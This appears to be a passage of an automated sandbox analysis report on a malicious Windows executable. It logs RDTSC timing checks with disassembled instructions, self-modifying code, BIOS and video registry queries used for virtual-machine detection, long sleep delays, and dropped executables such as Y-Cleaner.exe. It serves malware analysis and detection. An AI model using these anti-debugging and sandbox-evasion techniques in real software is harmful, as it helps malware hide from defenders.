Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9105F second address: 4D910A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512319h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi] 0x0000000b jmp 00007FB49551230Eh 0x00000010 mov dword ptr [edx], eax 0x00000012 pushad 0x00000013 mov dx, si 0x00000016 push ecx 0x00000017 mov edi, 5BD3689Ch 0x0000001c pop edi 0x0000001d popad 0x0000001e mov eax, dword ptr [esi+04h] 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D910A3 second address: 4D910A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D910A7 second address: 4D910AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D910AD second address: 4D910D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495516624h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB49551661Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D910D6 second address: 4D910DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D910DC second address: 4D91133 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, ecx 0x00000005 push esi 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esi+08h] 0x0000000d jmp 00007FB495516622h 0x00000012 mov dword ptr [edx+08h], eax 0x00000015 pushad 0x00000016 mov al, DDh 0x00000018 push edi 0x00000019 pop ebx 0x0000001a popad 0x0000001b mov eax, dword ptr [esi+0Ch] 0x0000001e jmp 00007FB495516620h 0x00000023 mov dword ptr [edx+0Ch], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FB495516627h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91133 second address: 4D9114B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB495512314h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9114B second address: 4D911C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+10h] 0x0000000b pushad 0x0000000c mov bx, 7280h 0x00000010 pushfd 0x00000011 jmp 00007FB495516629h 0x00000016 adc ax, 4886h 0x0000001b jmp 00007FB495516621h 0x00000020 popfd 0x00000021 popad 0x00000022 mov dword ptr [edx+10h], eax 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007FB49551661Ch 0x0000002c adc cl, 00000028h 0x0000002f jmp 00007FB49551661Bh 0x00000034 popfd 0x00000035 mov ecx, 5D0DC01Fh 0x0000003a popad 0x0000003b mov eax, dword ptr [esi+14h] 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FB495516621h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D911C9 second address: 4D91213 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512311h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+14h], eax 0x0000000c jmp 00007FB49551230Eh 0x00000011 mov eax, dword ptr [esi+18h] 0x00000014 jmp 00007FB495512310h 0x00000019 mov dword ptr [edx+18h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FB49551230Ah 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91213 second address: 4D91219 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91219 second address: 4D9123C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551230Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+1Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB49551230Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9123C second address: 4D91240 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91240 second address: 4D91246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91246 second address: 4D9127D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB49551661Ch 0x00000009 xor esi, 4EEB5FD8h 0x0000000f jmp 00007FB49551661Bh 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [edx+1Ch], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FB49551661Bh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9127D second address: 4D912A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512319h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+20h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D912A3 second address: 4D912B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551661Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D912B6 second address: 4D912BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D912BC second address: 4D912C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D912C0 second address: 4D912EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+20h], eax 0x0000000b jmp 00007FB495512317h 0x00000010 mov eax, dword ptr [esi+24h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 movsx edx, si 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D912EC second address: 4D912F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D912F2 second address: 4D912F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D912F6 second address: 4D9133B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+24h], eax 0x0000000b jmp 00007FB495516627h 0x00000010 mov eax, dword ptr [esi+28h] 0x00000013 jmp 00007FB495516626h 0x00000018 mov dword ptr [edx+28h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e movzx ecx, dx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9133B second address: 4D91365 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ecx, dword ptr [esi+2Ch] 0x00000009 jmp 00007FB495512318h 0x0000000e mov dword ptr [edx+2Ch], ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91365 second address: 4D9136B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9136B second address: 4D9137A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB49551230Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9137A second address: 4D913A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495516629h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ax, word ptr [esi+30h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push edi 0x00000013 pop esi 0x00000014 movsx edi, cx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D913A6 second address: 4D91424 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512311h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov word ptr [edx+30h], ax 0x0000000d jmp 00007FB49551230Eh 0x00000012 mov ax, word ptr [esi+32h] 0x00000016 jmp 00007FB495512310h 0x0000001b mov word ptr [edx+32h], ax 0x0000001f jmp 00007FB495512310h 0x00000024 mov eax, dword ptr [esi+34h] 0x00000027 jmp 00007FB495512310h 0x0000002c mov dword ptr [edx+34h], eax 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FB495512317h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91424 second address: 4D9142A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9142A second address: 4D91445 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test ecx, 00000700h 0x0000000e pushad 0x0000000f mov edi, 6B4A23A0h 0x00000014 push eax 0x00000015 push edx 0x00000016 mov edx, 4CD7232Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91445 second address: 4D9150E instructions: 0x00000000 rdtsc 0x00000002 mov esi, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jne 00007FB5055848E1h 0x0000000d pushad 0x0000000e mov dh, 5Fh 0x00000010 pushad 0x00000011 mov ax, 0C01h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 popad 0x00000019 or dword ptr [edx+38h], FFFFFFFFh 0x0000001d pushad 0x0000001e mov bx, si 0x00000021 push ecx 0x00000022 pushfd 0x00000023 jmp 00007FB49551661Bh 0x00000028 and ax, DD2Eh 0x0000002d jmp 00007FB495516629h 0x00000032 popfd 0x00000033 pop ecx 0x00000034 popad 0x00000035 or dword ptr [edx+3Ch], FFFFFFFFh 0x00000039 jmp 00007FB495516627h 0x0000003e or dword ptr [edx+40h], FFFFFFFFh 0x00000042 pushad 0x00000043 call 00007FB495516624h 0x00000048 mov ah, 94h 0x0000004a pop edx 0x0000004b mov dx, si 0x0000004e popad 0x0000004f pop esi 0x00000050 pushad 0x00000051 pushfd 0x00000052 jmp 00007FB49551661Bh 0x00000057 add ecx, 4A5B754Eh 0x0000005d jmp 00007FB495516629h 0x00000062 popfd 0x00000063 popad 0x00000064 pop ebx 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007FB49551661Dh 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9150E second address: 4D91542 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 jmp 00007FB495512313h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e leave 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB495512315h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91542 second address: 4D91548 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91548 second address: 4D9154C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9154C second address: 4D91550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB074C second address: 4DB076D instructions: 0x00000000 rdtsc 0x00000002 mov dh, 08h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB495512317h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60EE8 second address: 4D60F60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 mov al, dh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushad 0x0000000e mov ax, 2A6Dh 0x00000012 pushfd 0x00000013 jmp 00007FB49551661Ah 0x00000018 adc cl, 00000008h 0x0000001b jmp 00007FB49551661Bh 0x00000020 popfd 0x00000021 popad 0x00000022 call 00007FB495516628h 0x00000027 mov bx, cx 0x0000002a pop eax 0x0000002b popad 0x0000002c push eax 0x0000002d jmp 00007FB49551661Ch 0x00000032 xchg eax, ebp 0x00000033 pushad 0x00000034 pushad 0x00000035 call 00007FB49551661Ch 0x0000003a pop eax 0x0000003b mov dh, BCh 0x0000003d popad 0x0000003e push ecx 0x0000003f mov cx, dx 0x00000042 pop edi 0x00000043 popad 0x00000044 mov ebp, esp 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60F60 second address: 4D60F77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512313h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60F77 second address: 4D60F8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB495516624h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60F8F second address: 4D60F93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60F93 second address: 4D60FA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB49551661Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60FA8 second address: 4D60FAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60FAE second address: 4D60FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70577 second address: 4D705A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push edx 0x00000007 jmp 00007FB495512312h 0x0000000c mov dword ptr [esp], ebp 0x0000000f pushad 0x00000010 movzx ecx, bx 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FB49551230Bh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D705A7 second address: 4D705AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D705AD second address: 4D705F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551230Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+04h] 0x0000000e jmp 00007FB495512316h 0x00000013 push dword ptr [ebp+0Ch] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FB495512317h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D705F3 second address: 4D70606 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push dword ptr [ebp+08h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70606 second address: 4D7060C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D918B3 second address: 4D918B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D917A6 second address: 4D917DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FB495512314h 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov di, si 0x00000010 mov esi, 21C1C059h 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FB49551230Bh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D917DA second address: 4D60EE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495516629h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a jmp 00007FB49551661Eh 0x0000000f jmp dword ptr [74E5155Ch] 0x00000015 mov edi, edi 0x00000017 push ebp 0x00000018 mov ebp, esp 0x0000001a mov ecx, dword ptr fs:[00000018h] 0x00000021 mov eax, dword ptr [ebp+08h] 0x00000024 mov dword ptr [ecx+34h], 00000000h 0x0000002b cmp eax, 40h 0x0000002e jnc 00007FB49551661Dh 0x00000030 mov eax, dword ptr [ecx+eax*4+00000E10h] 0x00000037 pop ebp 0x00000038 retn 0004h 0x0000003b test eax, eax 0x0000003d je 00007FB495516633h 0x0000003f mov eax, dword ptr [0043200Ch] 0x00000044 cmp eax, FFFFFFFFh 0x00000047 je 00007FB495516629h 0x00000049 mov esi, 0042F1C0h 0x0000004e push esi 0x0000004f call 00007FB499E76088h 0x00000054 mov edi, edi 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007FB49551661Dh 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50422 second address: 4D50434 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 3297h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c mov al, C3h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50434 second address: 4D50438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50438 second address: 4D50449 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b movsx ebx, ax 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50449 second address: 4D5044F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5044F second address: 4D50453 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50453 second address: 4D5047E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FB495516621h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB49551661Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5047E second address: 4D50484 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50484 second address: 4D50488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50488 second address: 4D50519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c mov ebx, 684C39F8h 0x00000011 movsx edx, ax 0x00000014 popad 0x00000015 sub eax, eax 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FB495512312h 0x0000001e jmp 00007FB495512315h 0x00000023 popfd 0x00000024 popad 0x00000025 inc eax 0x00000026 pushad 0x00000027 call 00007FB495512313h 0x0000002c pushfd 0x0000002d jmp 00007FB495512318h 0x00000032 and ecx, 3739D918h 0x00000038 jmp 00007FB49551230Bh 0x0000003d popfd 0x0000003e pop ecx 0x0000003f popad 0x00000040 lock xadd dword ptr [ecx], eax 0x00000044 pushad 0x00000045 pushad 0x00000046 mov edx, 1FDBFC06h 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50519 second address: 4D5054C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FB49551661Dh 0x0000000b sub eax, 1EA172B6h 0x00000011 jmp 00007FB495516621h 0x00000016 popfd 0x00000017 popad 0x00000018 inc eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5054C second address: 4D50552 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50552 second address: 4D50582 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB495516620h 0x00000008 pop eax 0x00000009 mov edi, 37701EC6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FB49551661Fh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50582 second address: 4D50586 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50586 second address: 4D5058C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5058C second address: 4D5059B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB49551230Bh 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 825C1E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 825B52 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9E3C8C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A65B73 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00825AA5 rdtsc

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\sNe4DJsADzufDFC4vD39\Bunifu_UI_v1.5.3.dll			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\sNe4DJsADzufDFC4vD39\Y-Cleaner.exe			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 2108	Thread sleep time: -34017s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2148	Thread sleep count: 133 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2148	Thread sleep count: 116 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2148	Thread sleep count: 261 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2148	Thread sleep count: 252 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2148	Thread sleep count: 201 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2148	Thread sleep count: 178 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2148	Thread sleep count: 72 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2148	Thread sleep count: 90 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2148	Thread sleep count: 94 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1104	Thread sleep time: -42021s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6020	Thread sleep time: -42021s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2932	Thread sleep time: -46023s >= -30000s			Jump to behavior

